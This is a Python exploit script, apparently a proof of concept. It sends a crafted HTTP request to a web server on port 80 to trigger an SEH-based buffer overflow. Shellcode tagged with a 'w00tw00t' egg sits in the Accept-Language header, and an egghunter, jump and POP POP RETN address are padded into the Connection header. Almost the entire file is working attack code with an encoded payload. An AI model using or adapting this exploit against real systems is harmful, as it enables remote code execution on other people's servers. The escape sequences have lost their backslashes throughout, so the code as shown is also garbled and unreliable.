import socket

ip='192.168.163.130'
port=80
#!mona seh
#6FC5447E   5E               POP POP RETN address
seh="x7ex44xc5x6f"
nseh="xebxE0x90x90"
# short jmp back to run egghunter
#Attempting to encode payload with 1 iterations of x86/alpha_mixed
#x86/alpha_mixed succeeded with size 727 (iteration=0)
#x86/alpha_mixed chosen with final size 727
#Payload size: 727 bytes

shellcode=("x89xe2xdbxd4xd9x72xf4x59x49x49x49x49x49x49x49"
"x49x49x49x49x43x43x43x43x43x43x37x51x5ax6ax41"
"x58x50x30x41x30x41x6bx41x41x51x32x41x42x32x42"
"x42x30x42x42x41x42x58x50x38x41x42x75x4ax49x59"
"x6cx7ax48x4fx72x53x30x53x30x73x30x73x50x6dx59"
"x39x75x70x31x59x50x61x74x4cx4bx52x70x74x70x6c"
"x4bx61x42x74x4cx6ex6bx33x62x65x44x6cx4bx74x32"
"x71x38x74x4fx4cx77x30x4ax75x76x56x51x49x6fx6e"
"x4cx75x6cx30x61x33x4cx35x52x46x4cx77x50x79x51"
"x68x4fx56x6dx67x71x58x47x59x72x7ax52x36x32x53"
"x67x4cx4bx73x62x36x70x6cx4bx61x5ax67x4cx4cx4b"
"x52x6cx47x61x44x38x78x63x32x68x36x61x6ex31x46"
"x31x4ex6bx72x79x51x30x73x31x48x53x4ex6bx71x59"
"x45x48x4bx53x35x6ax70x49x6ex6bx36x54x6cx4bx67"
"x71x4ex36x45x61x59x6fx6ex4cx4ax61x6ax6fx66x6d"
"x53x31x39x57x76x58x49x70x50x75x5ax56x44x43x71"
"x6dx4bx48x65x6bx53x4dx34x64x61x65x6ax44x46x38"
"x4ex6bx73x68x67x54x33x31x58x53x73x56x6cx4bx66"
"x6cx70x4bx6ex6bx31x48x65x4cx46x61x6ax73x6ex6b"
"x57x74x6cx4bx75x51x68x50x6fx79x50x44x51x34x77"
"x54x73x6bx61x4bx43x51x52x79x73x6ax56x31x6bx4f"
"x6bx50x51x4fx61x4fx62x7ax4cx4bx64x52x68x6bx6c"
"x4dx63x6dx72x48x77x43x64x72x57x70x33x30x71x78"
"x50x77x53x43x44x72x53x6fx56x34x61x78x50x4cx64"
"x37x77x56x53x37x6bx4fx79x45x6dx68x6ex70x56x61"
"x33x30x33x30x75x79x69x54x63x64x76x30x65x38x64"
"x69x6bx30x52x4bx47x70x59x6fx4ex35x51x7ax76x65"
"x73x58x4fx30x79x38x6fx53x6bx33x73x58x55x52x77"
"x70x64x51x63x6cx4ex69x4bx56x32x70x72x70x30x50"
"x66x30x77x30x72x70x67x30x50x50x52x48x39x7ax56"
"x6fx49x4fx6bx50x69x6fx6ax75x4ex77x63x5ax36x70"
"x32x76x63x67x62x48x7ax39x6cx65x30x74x31x71x6b"
"x4fx4ex35x4bx35x49x50x52x54x65x5ax59x6fx30x4e"
"x67x78x43x45x5ax4cx6bx58x43x51x35x50x73x30x47"
"x70x62x4ax65x50x61x7ax37x74x76x36x32x77x55x38"
"x65x52x39x49x59x58x71x4fx69x6fx78x55x4bx33x4c"
"x38x43x30x63x4ex34x76x6cx4bx34x76x30x6ax53x70"
"x72x48x77x70x64x50x57x70x63x30x31x46x51x7ax75"
"x50x70x68x30x58x6fx54x72x73x5ax45x79x6fx6ax75"
"x4dx43x51x43x33x5ax43x30x71x46x33x63x36x37x31"
"x78x46x62x78x59x5ax68x33x6fx39x6fx68x55x4fx73"
"x58x78x47x70x73x4dx55x72x33x68x53x58x63x30x37"
"x30x73x30x65x50x51x7ax33x30x32x70x73x58x44x4b"
"x36x4fx34x4fx56x50x59x6fx7ax75x33x67x52x48x33"
"x45x50x6ex70x4dx75x31x59x6fx6ax75x53x6ex63x6e"
"x39x6fx34x4cx57x54x49x79x51x61x79x6fx4bx4fx49"
"x6fx65x51x59x53x67x59x78x46x74x35x4fx37x48x43"
"x4fx4bx6cx30x6ex55x4ex42x56x36x50x6ax53x30x42"
"x73x4bx4fx79x45x41x41")
egghunter=(
"x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74"
"xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7"
)
payload="A"*2248+egghunter+nseh+seh+"D"*(5005-2280-4-4-62)
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
request=("GET / HTTP/1.1rn"
"User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0rn"
"Accept-Language: "+"w00tw00t"+shellcode+"rn"
"Accept-Encoding: deflate, gziprn"
"cookie: frmUserName=test; frmUserPass=pass; rememberPass=202%2C197%2C208%2C215%2C201; UserID=ID; PassWD=PassWDrn"
"Connection: "+payload+"rnrn")
s.send(request)
s.recv(1024)
s.close();